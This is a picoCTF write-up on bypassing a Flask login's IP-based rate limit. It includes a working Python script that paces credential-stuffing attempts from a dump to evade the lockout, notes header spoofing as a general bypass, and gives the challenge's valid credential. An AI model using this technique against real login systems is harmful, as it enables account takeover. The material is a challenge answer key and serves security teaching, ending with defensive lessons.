Fool the Lockout
picoCTF Fool the Lockout writeup bypassing a rate-limiting lockout mechanism to brute-force credentials and access the protected endpoint.
Contents
Fool the Lockout
Challenge Summary
This picoCTF challenge provided three important pieces:
- A live login page
- The full Flask source code
- A credential dump containing candidate username/password pairs
Target:
http://candy-mountain.picoctf.net:52910/login
Files provided:
app.pycreds-dump (1).txt
The goal was to bypass the IP-based rate limit, find the valid credential pair, log in, and capture the flag.
Key Observation
The challenge explicitly claimed that brute forcing was prevented by an IP-based rate limit. That meant the source code mattered more than the login form itself.
So the first step was to read app.py.
Source Code Analysis
The relevant rate-limiting logic was:
MAX_REQUESTS = 10
EPOCH_DURATION = 30
LOCKOUT_DURATION = 120
The application tracked requests by request.remote_addr and updated a small in-memory database:
request_rates = {
"ip_addr": {
"num_requests": int,
"epoch_start": timestamp,
"lockout_until": int
}
}
The critical logic was inside refresh_request_rates_db() and exceeded_rate_limit().
How the lockout worked
For each client IP:
- Every
POSTto/loginincreasednum_requests - If more than 30 seconds passed since
epoch_start, the request counter reset to0 - Lockout happened only when:
if request_rates[client_ip]['num_requests'] > MAX_REQUESTS:
Since MAX_REQUESTS = 10, this means:
- Attempts
1through10are allowed - Attempt
11within the same 30-second window triggers the lockout
That is the flaw.
Vulnerability
The defense was not actually preventing guessing. It only limited the attacker to 10 guesses every 30 seconds from one IP.
So instead of brute forcing quickly, the correct bypass was simply to pace the requests:
- Send 10 login attempts
- Wait a little more than 30 seconds
- Repeat
Because the epoch resets after 30 seconds, the counter returns to zero and the attacker gets another 10 attempts without ever triggering the lockout.
This is not a real brute-force prevention mechanism. It is only a speed bump.
Why Header Spoofing Was Not Needed
Sometimes IP-based limits can be bypassed with headers like:
X-Forwarded-ForX-Real-IP
But in this application the code used:
client_ip = request.remote_addr
So spoofed headers would not help unless there were a reverse proxy in front rewriting remote_addr, which there was not in this challenge.
The reliable bypass was timing, not header manipulation.
Recon on the Login Form
Fetching the login page confirmed the form fields:
<input id="username" name="username" type="text">
<input id="password" name="password" type="password">
So login requests needed standard form data:
username=<value>&password=<value>
Credential Dump
The dump contained 99 username/password pairs in the format:
username;password
Example:
rora;winner1
birendra;rumble
khalid;sting
stanislaw;ming
...
Since the file was small, a paced scan was practical.
Exploitation Strategy
The correct attack plan was:
- Read the credential dump
- Submit 10 login attempts
- Sleep for 31 seconds so the 30-second epoch expires
- Continue with the next batch
- Stop on the first successful redirect to
/
That keeps the scan permanently below the lockout condition.
Scripted Solution
The challenge hint mentioned that the Python requests library might be useful. That was exactly the right tool.
A working solution looked like this:
import time
import requests
from urllib.parse import urljoin
BASE = "http://candy-mountain.picoctf.net:52910"
LOGIN = urljoin(BASE, "/login")
HOME = urljoin(BASE, "/")
pairs = []
with open("creds-dump (1).txt", encoding="utf-8", errors="replace") as f:
for line in f:
line = line.rstrip("\n")
if ";" in line:
pairs.append(tuple(line.split(";", 1)))
s = requests.Session()
attempts_in_epoch = 0
for user, pwd in pairs:
if attempts_in_epoch == 10:
time.sleep(31)
attempts_in_epoch = 0
r = s.post(
LOGIN,
data={"username": user, "password": pwd},
allow_redirects=False,
timeout=10
)
attempts_in_epoch += 1
if r.status_code in (301, 302, 303, 307, 308) and r.headers.get("Location") == "/":
home = s.get(HOME, timeout=10)
print(f"[+] Found valid creds: {user}:{pwd}")
print(home.text)
break
Valid Credential Pair
The valid account in the dump was:
rohit:berry
After logging in with that pair, the homepage displayed the flag.
Flag
picoCTF{<redacted>}
Why the Defense Failed
The application did not stop credential guessing. It only enforced a per-IP attempt cap inside a short time window.
That means:
- It slowed guessing down
- It did not stop guessing
- It still allowed the full dump to be tested eventually
The bug is a weak rate-limiting design, not a single line coding mistake.
The developer assumed that “blocking fast guessing” meant “guessing is impossible.” That assumption was wrong.
Security Lessons
- Rate limiting should be combined with stronger protections, not used alone.
- Lockouts based only on IP are weak, especially against distributed attacks.
- Time-window rate limits can often be bypassed by simply pacing requests.
- MFA and anomaly detection are far more effective against credential attacks.
- Real defenses should consider account-based controls, IP reputation, device fingerprinting, and breached-password detection.
Takeaway
This challenge was solved by reading the source carefully instead of fighting the lockout directly. The application allowed 10 attempts every 30 seconds, so the right move was to stay just under that threshold and walk through the credential dump patiently.
The winning credential pair was:
rohit:berry
And the recovered flag was:
picoCTF{<redacted>}